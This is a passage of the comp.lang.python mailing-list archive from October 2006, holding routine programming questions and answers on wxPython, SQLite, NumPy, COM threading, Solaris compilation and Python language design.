<1162170670.347917.31960@i42g2000cwa.googlegroups.com> References: <1162170670.347917.31960@i42g2000cwa.googlegroups.com> Message-ID: <1162171728.158238.301880@f16g2000cwb.googlegroups.com> I am tagging this so I can find it again (google groups) www.dexrow.com Eric_Dexter at msn.com wrote: > I am just trying to acess a function in wordgrid (savefile) to a button > that is defined in TestFrame. I can't seem to make it work I either > get an error that my variable isn't global or it makes other > complaints. thanks in advance.. sorry for the simple question.. > > > > > import wx > import wx.grid as gridlib > import sys > > > > #--------------------------------------------------------------------------- > > class WordGrid(gridlib.Grid): > > def __init__(self, parent, log): > gridlib.Grid.__init__(self, parent, -1) > self.loadFile() > > self.CreateGrid(len(self.rows), self.widestRow) > > for r, row in enumerate(self.rows): > for c, col in enumerate(row): > self.SetCellValue(r, c, col) > self.SetColSize(c, 10*self.widestCol) > > for c, label in enumerate(self.header): > self.SetColLabelValue(c, label) > > def loadFile(self): > #from_file > infile = open(sys.argv[1], 'r') #The first argument passed in is > the file name > foundHeader = False > self.rows = [] > for line in infile: > if sys.argv[2] in line: #look for the second argument and > make that the header > #removefirst = line.split(' ') > self.header = line.split() > #foundHeader = 'true' > continue # we don't want to process this line any > further > else: > self.rows.append(line.split()) > > self.widestRow = max([len(r) for r in self.rows]) > self.widestCol = max([len(c) for c in [r for r in self.rows]]) > def savefile(self): > outfile = open(sys.argv[1], 'w') #open the file defined in the > output line for writing > for row in self.rows: > outfile.write(row) > > print('this is a test to see if I can Crash it') > > > > class TestFrame(wx.Frame): > def __init__(self, parent, log): > > wx.Frame.__init__(self, parent, -1, "Dex Tracker Sco Editor", > size=(640,480)) > p = wx.Panel(self, -1, style=0) > grid = WordGrid(p, log) > #grid = CustTableGrid(p, log) > b = wx.Button(p, -1, "Save Grid") > b.SetDefault() > self.Bind(wx.EVT_BUTTON, self.OnButton, b) > b.Bind(wx.EVT_SET_FOCUS, self.OnButtonFocus) > bs = wx.BoxSizer(wx.VERTICAL) > bs.Add(grid, 1, wx.GROW|wx.ALL, 5) > bs.Add(b) > p.SetSizer(bs) > > def OnButton(self, evt): > print "button selected" > grid = WordGrid(self, log).savefile() > #self.WordGrid.savefile(self) > > def OnButtonFocus(self, evt): > print "button focus" > > #--------------------------------------------------------------------------- > #def main(): > > def main(From_File, find_string): > """This is the entire editor for .sco files.. It doesn't realy > care if it is music or not. Any file that you lay out with even rows > and collums > can be displayed The first argument passed to main is the file to > be used and the second if the string to be used as the command to set > up the header of the grid. > The sting you wish to use to identify the header should be placed > last so it doesn't show up in the grid. > """ > > import sys > > app = wx.PySimpleApp() > frame = TestFrame(None, sys.stdout) > frame.Show(True) > app.MainLoop() > pass > > if __name__ == '__main__': > import sys > #try: > main(sys.argv[1], sys.argv[2]) From baur79 at gmail.com Wed Oct 25 08:16:27 2006 From: baur79 at gmail.com (baur79 at gmail.com) Date: 25 Oct 2006 05:16:27 -0700 Subject: python html 2 image (png) References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> Message-ID: <1161778587.501281.92320@h48g2000cwc.googlegroups.com> > what tools are you using to do that today? where are many of EXE programs but i need python solution for adding it to my automate program under lunix Fredrik Lundh wrote: > baur79 at gmail.com wrote: > > > how can i render html page to png image > > ex: > > > > http://www.website.com/index.html -> index.png > > what tools are you using to do that today? > > From bdesth.quelquechose at free.quelquepart.fr Wed Oct 18 17:16:42 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 18 Oct 2006 23:16:42 +0200 Subject: Classes and Functions - General Questions In-Reply-To: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> Message-ID: <45369576$0$21153$426a74cc@news.free.fr> Setash a ?crit : > I've got a tiny bit of coding background, but its not the most > extensive. > > That said, I'm trying to wrap my head around python and have a couple > questions with classes and functions. > > Two notable questions: > > 1) Classes. How do you extend classes? > > I know its as easy as: > > class classname(a) > do stuff > > > But where does the parent class need to lie? In the same file? Can it > lie in another .py file in the root directory? Can it simply be > accessed via an import statement or just plain jane? > > To clarify, as it may be worded poorly: > > Can my directory structure look like > > .. > /class1.py > /class2.py > > And have class2 inherit class1 without any import statements, or need > it be imported first? > Or need class1 and class2 be both declared in the same .py file if > there is inheritance? > > I think thats a bit more clear :) > Any object you want to access must be bound to a name in the current namespace. So you either need to define both classes in the same module (ie: file), or import the base class. There are some things about this in the tutorial... > > > 2) Function overloading - is it possible? > > Can I have the following code, or something which acts the same in > python?: > > > def function(a, b) > do things > > def function(a, b, c) > do things only if I get a third argument > There's no proper function overloading builtin Python [1]. But you have default params: def function(a, b, c=None): if c is None: do things else: do things only if I get a third argument [1] this could be implemented - and is actually implemented (in much more powerful way) by Philip Eby's dispatch module. > Any thoughts / comments / etc? Just trying to get a solid foundation of > python before going any further. Then you might want to (re ?)read the tutorial and DiveIntoPython. From vatamane at gmail.com Mon Oct 30 18:53:39 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 30 Oct 2006 15:53:39 -0800 Subject: checking if a sqlite connection and/or cursor is still open? In-Reply-To: References: Message-ID: <1162252419.543624.42870@i42g2000cwa.googlegroups.com> I am not familiar with SQLite driver, but a typical Pythonic way to check if you can do something is to just try it, and see what happens. In more practical terms: try to just use the cursor or the connection and see if an exception will be raised. Nick V. John Salerno wrote: > John Salerno wrote: > > Is there a way to check if a SQLite connection and cursor object are > > still open? I took a look at the docs and the DB API but didn't see > > anything like this. > > > > Thanks. > > Well, I might have somewhat solved this problem. Since SQLite allows you > to use execute* methods directly on the connection object (thus no need > to create a cursor object), all I need to do is call connection.close() > and this doesn't seem to raise an error even if the connection has > already been closed. > > I'm still curious if there's a way to check for an open connection, but > it seems like without the cursor object, the task is much easier. From rrr at ronadam.com Thu Oct 19 10:33:55 2006 From: rrr at ronadam.com (Ron Adam) Date: Thu, 19 Oct 2006 09:33:55 -0500 Subject: Flexible Collating (feedback please) In-Reply-To: <1161211855.842193.104220@i3g2000cwc.googlegroups.com> References: <35kZg.6681$fl.2685@dukeread08> <1161211855.842193.104220@i3g2000cwc.googlegroups.com> Message-ID: bearophileHUGS at lycos.com wrote: > Ron Adam: > > Insted of: > > def __init__(self, flags=[]): > self.flags = flags > self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE) > self.txtable = [] > if HYPHEN_AS_SPACE in flags: > self.txtable.append(('-', ' ')) > if UNDERSCORE_AS_SPACE in flags: > self.txtable.append(('_', ' ')) > if PERIOD_AS_COMMAS in flags: > self.txtable.append(('.', ',')) > if IGNORE_COMMAS in flags: > self.txtable.append((',', '')) > self.flags = flags > > I think using a not mutable flags default is safer, this is an > alternative (NOT tested!): > > numrex = re.compile(r'[\d\.]* | \D*', re.LOCALE|re.VERBOSE) > dflags = {"hyphen_as_space": ('-', ' '), > "underscore_as_space": ('_', ' '), > "period_as_commas": ('_', ' '), > "ignore_commas": (',', ''), > ... > } > > def __init__(self, flags=()): > self.flags = [fl.strip().lower() for fl in flags] > self.txtable = [] > df = self.__class__.dflags > for flag in self.flags: > if flag in df: > self.txtable.append(df[flag]) > ... > > This is just an idea, it surely has some problems that have to be > fixed. I think the 'if's are ok since there are only a few options that need to be handled by them. I'm still trying to determine what options are really needed. I can get the thousand separator and decimal character from local.localconv() function. So ignore_commas isn't needed I think. And maybe change period_as_commas to period _as_sep and then split on periods before comparing. I also want it to issue exceptions when the Collate object is created if invalid options are specified. That makes finding problems much easier. The example above doesn't do that, it accepts them silently. That was one of the reasons I went to named constants at first. How does this look? numrex = re.compile(r'([\d\.]* | \D*)', re.LOCALE|re.VERBOSE) options = ( 'CAPS_FIRST', 'NUMERICAL', 'HYPHEN_AS_SPACE', 'UNDERSCORE_AS_SPACE', 'IGNORE_LEADING_WS', 'IGNORE_COMMAS', 'PERIOD_AS_COMMAS' ) def __init__(self, flags=""): if flags: flags = flags.upper().split() for value in flags: if value not in self.options: raise ValueError, 'Invalid option: %s' % value self.txtable = [] if 'HYPHEN_AS_SPACE' in flags: self.txtable.append(('-', ' ')) if 'UNDERSCORE_AS_SPACE' in flags: self.txtable.append(('_', ' ')) if 'PERIOD_AS_COMMAS' in flags: self.txtable.append(('.', ',')) if 'IGNORE_COMMAS' in flags: self.txtable.append((',', '')) self.flags = flags So you can set an option strings as... import collate as C collateopts = \ """ caps_first hyphen_as_space numerical ignore_commas """ colatedlist = C.collated(somelist, collateopts) A nice advantage with an option string is you don't have to prepend all your options with the module name. But you do have to validate it. Cheers, Ron From paddy3118 at netscape.net Wed Oct 25 16:08:33 2006 From: paddy3118 at netscape.net (Paddy) Date: 25 Oct 2006 13:08:33 -0700 Subject: Any way of adding methods/accessors to built-in classes? In-Reply-To: References: Message-ID: <1161806913.089363.288600@m73g2000cwd.googlegroups.com> Kenneth McDonald wrote: > This is possible with pure Python classes. Just add the method as new > attribute of the class. However, that won't work for the builtins. > > I know that this is somewhat dangerous, and also that I could subclass > the builtins, but not being able to do things like '[1,2,3]'.length > drives me a little nuts. Python is about the only computer language I > use, and I think it's certainly the best of the scripting languages, but > there are inconsistencies in the object model and some other things I > wish I could fix. If could could modify the builtins this way, I'd be > willing to take the risk. > > Thanks, > Ken Hi Ken, The reason comes from code being read much more than it is written. It makes it much easier to maintain code if some foundations i.e. the builtins, don't change. That way everyone maintaining the code will know that an int is an int, is an int, wherever it may be in the source files of your program. The flip-side is that someone reading List in athers code knows it isn't the built-in list type and so is on-guard for any deviations/additions. As for your irritation Ken, if you have to maintain code, as I do/have done, then you remember how many times little inconsistencies have tripped you up in the past, and offset those gripes against things like this. - cheers, Paddy. From atbusbook at aol.com Sat Oct 21 14:28:04 2006 From: atbusbook at aol.com (atbusbook at aol.com) Date: 21 Oct 2006 11:28:04 -0700 Subject: A Comparison Of Dynamic and Static Languiges Message-ID: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> I'm doing a report on the speed of develipment and executionin varius programing langiuiges. write code for all these tasks in the languige of your choise if intrestied send code to atbusbook at aol.com. Task 1: write a program that prints how many times you repeat all words in a file passed as a comand line paramiter and from STDIN. with the output format being "\"%s\" word repeated %i times\n" Task 2: write a comand line rpn calculator that has a syntax like forth with only floats; also it must have these and only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll. . and .s are pop print and .s print stack in this with a new line after each item and the top of the stack at the bottom. compiler info c#: mono 1.1.13.7 perl: perl 5.8.8 python: python 2.4.2 ruby: ruby 1.8.4 From fabianosidler at gmail.com Sun Oct 22 22:20:47 2006 From: fabianosidler at gmail.com (Fabiano Sidler) Date: Mon, 23 Oct 2006 02:20:47 +0000 Subject: Current stackdepth outside PyEval_EvalFrameEx Message-ID: <200610230220.47741.fabianosidler@gmail.com> Hi folks! I'm trying to implement a python function that returns the current stack depth of its frame. Unfortunately, I don't see any possibility to get this value outside of PyEval_EvalFrameEx. Inside of it, I'd use the STACK_LEVEL macro. How do I do it? Greetings, Fips From m.elston at advantest-ard.com Wed Oct 18 14:49:18 2006 From: m.elston at advantest-ard.com (Mark Elston) Date: Wed, 18 Oct 2006 11:49:18 -0700 Subject: How to execute a linux command by python? In-Reply-To: <1161196325.286536.40970@b28g2000cwb.googlegroups.com> References: <1161196325.286536.40970@b28g2000cwb.googlegroups.com> Message-ID: <12jcthf4grmcd5b@corp.supernews.com> * venkatbo at yahoo.com wrote (on 10/18/2006 11:32 AM): > Fredrik Lundh wrote: >> haishan chang wrote: >> >>> How to execute a linux command by python? >>> for example: execute "ls" or "useradd oracle" >>> Who can help me? >> start here: >> >> http://www.python.org/doc/lib/ >> >> > > After reading the matl. pointed to by the many links listed here, > you can try pexpect. Provided for more control and interactivity. > More at: http://pexpect.sourceforge.net/ > > /venkat > BTW, is there a version of pexpect that works with Windows? This package requires pty and termios which isn't supported on Windows. Mark From pandyacus.xspam at xspam.sbcglobal.net Sun Oct 29 01:08:32 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sun, 29 Oct 2006 06:08:32 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: Gabriel Genellina writes: > At Friday 27/10/2006 23:13, Steve Holden wrote: > >>J. Clifford Dyer wrote: >> > the one thing that Ms. Creighton points out that I can't get past is >> > that Python, even with its bool type, *still* evaluates somethingness >> > and nothingness, and True and False are just numbers with hats on. >> > >> > >>> True + 3 >> > 4 >> > >>> bool(True-1) >> > False >> > >>> bool(True-2) >> > True >> > >>> (10 > 5) + (10 < 5) >> > 1 >>Seems pretty clear to me that the situations you discuss above involve >>numeric coercions of a Boolean value. > > A "true" Boolean value should not be coerced into any other thing. True+1 is as > meaningless as "A"+1, or even "1"+1. The fact is, bool is just an integer in > disguise. > I always regretted that Python just went mid-way moving onto a true Boolean > type; I'd prefer it to stay as it was before bool was introduced. > >> > Python is not evaluating the truth of the matter, but, as Ms. Creighton >> > would say, the "somethingness" of that which 10 > 5 evaluates to. (1 >> > aka True) >> > >> >>> type(10>5) >> >> >>> > >>>> bool.__mro__ > (, , ) > >>It does seem that there is a specific type associated with the result of >>a comparison, even though you would really like to to be "a number with >>a hat on". > > It *is* an integer with a hat on. > >>>> isinstance(True,int) > True This has focussed on the relational operators, which seem to produce a number with a hat on. However, logical operations do not do so. True and "This string" produces "This string", for example. This is hardly surprising, though. The way they are defined, booleans seem to be the syntactic sugar that some people like. Many of the projects that I have been associated with had such a define because the language (C) does not provide it. On the other hand, there are many who do just fine without them. For expressions used in control flow, if the expression somehow produces a 0 (False included) or None, the behavior is as if the expression is false. Confusion may arise because the way that answer is produced may not be immediately obvious. For constructs such as "if obj:" the answer depends on which methods the object has defined and what the state of the object is at the time, but this has nothing to do with whether the answer that was produced was strictly a boolean or not. Chetan > > > -- > Gabriel Genellina > Softlab SRL > > __________________________________________________ > Correo Yahoo! > Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta > ya! - http://correo.yahoo.com.ar From cologuns at xs4all.nl Thu Oct 12 10:42:40 2006 From: cologuns at xs4all.nl (Martijn de Munnik) Date: Thu, 12 Oct 2006 16:42:40 +0200 Subject: Compile python on Solaris Message-ID: Hi, I want to compile python on my solaris 10 system (amd 64 bit). I did the following: ./configure --prefix=/opt/64/python make which resulted in this error: "Include/pyport.h", line 730: #error: "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)." so I edited the file and removed the error line and did a configure and make again after a make distclean. after a new make I get this error complaining about 32 and 64 bit. ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32 when I look to the cc statements none of my CFLAGS are passed while these are in my environment; CC=cc CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all - xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr CXX=CC CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all - xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr LDFLAGS=-xtarget=opteron -xarch=amd64 anybody succesfully compiled python on solaris? thanks, martijn From martin at v.loewis.de Sat Oct 28 18:31:50 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 29 Oct 2006 00:31:50 +0200 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: <1162069656.301191.9940@m7g2000cwm.googlegroups.com> References: <453d4890$0$22566$9b622d9e@news.freenet.de> <1161682522.256752.56630@i42g2000cwa.googlegroups.com> <453E5002.2020402@v.loewis.de> <1162069656.301191.9940@m7g2000cwm.googlegroups.com> Message-ID: <4543DA56.9090400@v.loewis.de> s?bastien martini schrieb: > I don't know if it can hide some bugs or if the module has just never > been updated to support this bytecode but LIST_APPEND is never emitted. > In the module compiler, list comprehensions are implemented without > emitting this bytecode, howewer the current implementation seems to be > correct from syntax and execution point of view. It's probably a matter of personal taste, but I think the compiler library should perform the same way as the builtin compiler - except that it might be "better" in some cases. So feel free to report this as a bug at sf.net/projects/python. Regards, Martin From robert.kern at gmail.com Fri Oct 27 01:53:53 2006 From: robert.kern at gmail.com (Robert Kern) Date: Fri, 27 Oct 2006 00:53:53 -0500 Subject: NumPy 1.0 release In-Reply-To: <1161927501.585705.151830@b28g2000cwb.googlegroups.com> References: <1161927501.585705.151830@b28g2000cwb.googlegroups.com> Message-ID: George Sakkis wrote: > ImportError: > /usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so: > undefined symbol: zheevd_ > > Googling for "undefined symbol: zheevd_" returned no hits, at which > point I gave up for now; hopefully someone will have a suggestion on > what to do next (other than dumping RH's mess for Ubuntu, which I'd > gladly do if it was up to me). zheevd is a LAPACK routine. Check for that symbol in the LAPACK library that you are linking. If it's not there, then your LAPACK library is broken. ATLAS provides some optimized LAPACK routines, and some distributions of ATLAS provide LAPACK libraries with *only* those routines: http://scipy.org/FAQ#head-0f5cda66c4d28a8c65206cc2b4213e18f1c22547 > By the way, it would be great if numpy's mailing list was mirrored to a > google group; sourceforge and gmane are just horrible to use. Sorry, I don't think that Google Groups does mirroring like GMane does. While we will be migrating the numpy-discussion list away from Sourceforge, it will be to the scipy.org server, not Google Groups. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From http Tue Oct 3 04:52:52 2006 From: http (Paul Rubin) Date: 03 Oct 2006 01:52:52 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <7xk63h232z.fsf@ruckus.brouhaha.com> "Giovanni Bajo" writes: > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, > recommends using a non open source tracker (called JIRA - never > heard before of course) for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? Sounds crazy, what's wrong with bugzilla? From ahmerhussain at gmail.com Fri Oct 13 10:26:59 2006 From: ahmerhussain at gmail.com (Ahmer) Date: 13 Oct 2006 07:26:59 -0700 Subject: Starting out. In-Reply-To: <1160715256.698199.64540@h48g2000cwc.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160715256.698199.64540@h48g2000cwc.googlegroups.com> Message-ID: <1160749619.514641.11870@k70g2000cwa.googlegroups.com> >From what I can see Python and PHP have VERY simillar syntax (sorry if I offended anyone but I am a "n00b".) On Oct 13, 12:54 am, malkaro... at gmail.com wrote: > Ahmer wrote: > > Hi all! > > > I am a 15 year old High School Sophomore. I would like to start > > programming in Python. In school, we are learning Java (5) and I like > > to use the Eclipse IDE, I also am learning PHP as well. > > > What are some ways to get started (books, sites, etc.)? I am usually on > > linux, but I have a windows box and am planning on getting a mac.Generally good choices. I don't prefer PHP, however. For somebody who > is learning programming, it encourages sloppy programming. > > I would suggest that you use PyDev (http://pydev.sourceforge.net/), a > Python plugin for Eclipse, for Python programming. It is a helpful > environment, especially for somebody already using Eclipse. > > For resources, I suggest you take a look athttp://wiki.python.org/moin/BeginnersGuide/NonProgrammerswhich is for > non-programmers. If you feel like checking other resources, more are > linked tohttp://wiki.python.org/moin/BeginnersGuide. > > Best luck, > > k From ptmcg at austin.rr._bogus_.com Tue Oct 24 11:23:02 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 24 Oct 2006 15:23:02 GMT Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: "Odalrick" wrote in message news:1161701658.722683.46230 at e3g2000cwe.googlegroups.com... >I need to draw visible lines on pictures with wxPython. That means I > can't simply use, for instance, a black line since it wont be visible > on a black or dark picture. > > Painting applications like the GIMP accomplish this by altering the > colour of the line based on the colour of the pixel it covers, but the > only way I can think of doing that is getting each pixel, transforming > the colour then painting it on the screen, which seems like a horribly > inefficient way do it. > > I could use alternating colour on the lines, but I don't think that > will be good enough for my taste. > > I think I will use a partially transparent bitmap with a hole in the > appropriate place and move the hole as needed. > > I realized the last solution as I was writing this and I think it will > work fairly well, but I'm still wondering if there is another, better > solution i might have missed. > > /Odalrick > You could try outlining in a light color. For example, draw a 3-pixel-wide white or light gray line, and then overlay your 1-pixel-wide black line. Over light backgrounds, the outline will disappear; over dark backgrounds, the outline will look like a hole in the background to show your black line. -- Paul From hg at nospam.com Fri Oct 13 00:06:59 2006 From: hg at nospam.com (hg) Date: Thu, 12 Oct 2006 23:06:59 -0500 Subject: COM and Threads In-Reply-To: <1160710172.060054.56400@e3g2000cwe.googlegroups.com> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160710172.060054.56400@e3g2000cwe.googlegroups.com> Message-ID: <8qEXg.27287$Go3.15608@dukeread05> Teja wrote: > hg wrote: > >> Teja wrote: >>> I have an application which uses COM 's Dispatch to create a COM based >>> object. Now I need to upgrade the application to a threaded one. But >>> its giving an error that COM and threads wont go together. Specifically >>> its an attribute error at the point where COM object is invoked. Any >>> pointers please?????? >>> >> If COM is not thread safe, then use processes > > Thanks a LOT for your reply...... Can u please tell me how to > processes...... > I gather pywin32 gives you the trick to do it (CreateProcess ?) as I gather "fork"ing is not available under Windows. From http Mon Oct 23 18:04:13 2006 From: http (Paul Rubin) Date: 23 Oct 2006 15:04:13 -0700 Subject: mean ans std dev of an array? References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> Message-ID: <7xpsci665e.fsf@ruckus.brouhaha.com> "SpreadTooThin" writes: > print a.mean() > print a.std_dev() > > Is there a way to calculate the mean and standard deviation on array data? Well, you could use numpy or whatever. If you want to calculate directly, you could do something like (untested): n = len(a) mean = sum(a) / n sd = sqrt(sum((x-mean)**2 for x in a) / n) From gagsl-py at yahoo.com.ar Mon Oct 23 16:17:42 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 23 Oct 2006 17:17:42 -0300 Subject: Using Python scripts in Windows Explorer In-Reply-To: <1161600812.006210.219090@k70g2000cwa.googlegroups.com> References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> <1161600812.006210.219090@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061023171238.05c5d7f0@yahoo.com.ar> At Monday 23/10/2006 07:53, Ben Sizer wrote: > > >I'd like to be able to drag a file onto a Python script in Windows > > >Explorer, or send that file to the script via the Send To context-menu > > >option, so I can then process that file via sys.argc. > > > > > >Unfortunately, I can't drag items onto the Python script, because > > >Windows doesn't recognise that the script is executable (unless I > > >double-click it, upon which it runs as usual, without the command line > > >parameter of course) > > > > Create a shortcut and drop the file over it. > >Doesn't work; the mouse cursor changes to the "not permitted" sign and >when you release the mouse, nothing happens. @WorksForMe (on XPSP2 with local administrator rights) (but I've used such shortcuts even on Windows 98) Perhaps it's some configuration, or you don't have enough permission to do that. > > >and won't set it as a drop target. And it won't > > >even appear in the Send To menu after the usual steps are taken to get > > >it there. > > > > Same here: put a shortcut to the script on your SendTo folder > > (wherever it resides) > >That is what I meant by 'the usual steps'. :) It doesn't work. Same as above! I think you should ask on a Windows newsgroup. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From http Sat Oct 14 02:57:26 2006 From: http (Paul Rubin) Date: 13 Oct 2006 23:57:26 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> Message-ID: <7xhcy72xm1.fsf@ruckus.brouhaha.com> brenocon at gmail.com writes: > deferred = fetchPage('http://python.org') > def _showResponse(response) > print "fancy formatting: %s" % response.text > deferred.addCallback(_showResponse) > > Lots of Twisted code has to be written backwards like this. But that's just ugly. The fetchPage function should take the callback as an argument. In an asynchronous system it would even be buggy. What happens if the page fetch completes before you add the callback? From Eric_Dexter at msn.com Tue Oct 17 20:25:53 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 17 Oct 2006 17:25:53 -0700 Subject: Python Web Site? In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: <1161131153.484754.219230@m7g2000cwm.googlegroups.com> wxpython is down for me also it did work befour my job interview at around noon central. It may have been my wx.grid question for my project finaly did the system in. I followed all the directions but can only post and get one responce and I can't respond to the questions (I get no email so I can post replies) seems odd. (last couple of days anyway) http://www.dexrow.com *% wrote: > Is there a problem with the Python and wxPython web sites? I cannot > seem to get them up, and I am trying to find some documentation... > > Thanks, > Mike From steve at holdenweb.com Thu Oct 5 14:01:54 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 19:01:54 +0100 Subject: Access to static members from inside a method decorator? In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com> References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> Message-ID: glen.coates.bigworld at gmail.com wrote: > Bruno Desthuilliers wrote: > >>glen.coates.bigworld at gmail.com wrote: >> >>>I'm developing a library at the moment that involves many classes, some >>>of which have "exposed" capabilities. I'm trying to design a nice >>>interface for both exposing those capabilities, and inspecting >>>instances to find out what capabilities they have. >>> >>>At the moment, I'm leaning towards a superclass (Exposed) that defines >>>a static method which is a decorator (expose) such that any derived >>>class can mark a method with @Exposed.expose and it will then be later >>>returned by getExposedMethods(), a la: >>> >>>class Exposed: >>> @staticmethod >>> def expose( f ): >>> ... >>> >>> def getExposedMethods( self ): >>> ... >>> >>>class Person( Exposed ): >>> @Exposed.expose >>> def talk( self, ... ): >>> ... >>> >>>I'm trying to implement the decorator by having it populate a static >>>member list of whatever class it's in with a reference to the method. >>>getExposedMethods() would then return the contents of each of those >>>lists from itself back to Exposed in the class hierarchy. The first >>>problem was that having a reference to the method (i.e. talk()) does >>>not allow you to get a reference to the enclosing class (I had hoped >>>im_class would lead me there). >> >>Not yet. When your decorator is called, the class object is not yet >>created, and what you are decorating is a plain function. >> >> >>>The real hiccup was that explicitly >>>passing the class as an argument to the decorator generates a undefined >>>global name error, presumably because at that point of execution the >>>class object hasn't been fully created/initialised. >> >>Exactly. >> >> >>>So how can this be done? >> >>The simplest thing is to use a two-stages scheme : mark the functions as >>exposed, then collect them: >> >>def expose(func): >> func._exposed = True >> return func >> >>def exposed(obj): >> return callable(obj) and getattr(obj, '_exposed', False) >> >>class Exposing(object): >> @classmethod >> def get_exposed_methods(cls): >> try: >> exposeds = cls._exposed_methods >> except AttributeError: >> exposeds = [] >> for name in dir(cls): >> obj = getattr(cls, name) >> if exposed(obj): >> exposeds.append(obj) >> cls._exposed_methods = exposeds >> return exposeds >> >>class Parrot(Exposing): >> @expose >> def parrot(self, what): >> return "%s says %s" % (self, str(what)) >> >> >> >>HTH >>-- >>bruno desthuilliers >>python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for >>p in 'onurb at xiludom.gro'.split('@')])" > > > Thanks Bruno. I came up with a similar solution today at work, which > involves an 'init' method which is called at the bottom of each module > that defines subclasses of Exposed and sets up static mappings for the > exposed methods. I guess my solution is slightly less elegant because > it requires this ugly explicit init call outside the classes that it > actually deals with, however it is more efficient because the dir() > pass happens once on module load, instead of every time I want the list > of exposed methods. > Surely the right place to handle "collection" is in a metaclass, where the metaclass's __call__() method can scan the __dict__ and take appropriate action on the marked methods? That way it's done just once, at class definition time, as it should be. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From sjmachin at lexicon.net Mon Oct 9 07:52:18 2006 From: sjmachin at lexicon.net (John Machin) Date: 9 Oct 2006 04:52:18 -0700 Subject: People's names (was Re: sqlite3 error) In-Reply-To: References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <1160266138.599325.270290@e3g2000cwe.googlegroups.com> Message-ID: <1160394738.418282.62120@m7g2000cwm.googlegroups.com> Steve Holden wrote: > > Don't forget the UK, where the scots are accommodated by filing Mc > before Mac everywhere except the 'phone book, where IIRC they are > treated as equivalent. Same/similar phone book treatment here in Australia -- Mc is treated as though it were spelled Mac. An interesting application of the decorate-sort-undecorate technique :-) From me at jonbowlas.com Mon Oct 16 08:26:12 2006 From: me at jonbowlas.com (Jonathan Bowlas) Date: Mon, 16 Oct 2006 13:26:12 +0100 Subject: Convert StringIO to string Message-ID: <021201c6f11e$44bdf350$fde92452@bowlas> Hi listers, I've written this little script to generate some html but I cannot get it to convert to a string so I can perform a replace() on the >, < characters that get returned. from StringIO import StringIO def generator_file(rsspath,titleintro,tickeropt): scripter=StringIO() scripter.write('\n') return scripter.getvalue() I tried adding this: scripter = scripter.replace("<", "<") scripter = scripter.replace(">", ">") But obviously replace() isn't an attribute of StringIO so I guess I need to convert it to a string first, can someone please advise how I can do this? Cheers Jon From timr at probo.com Thu Oct 5 03:29:45 2006 From: timr at probo.com (Tim Roberts) Date: Thu, 05 Oct 2006 07:29:45 GMT Subject: How can I correct an error in an old post? References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: Jorgen Grahn wrote: > >On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden wrote: 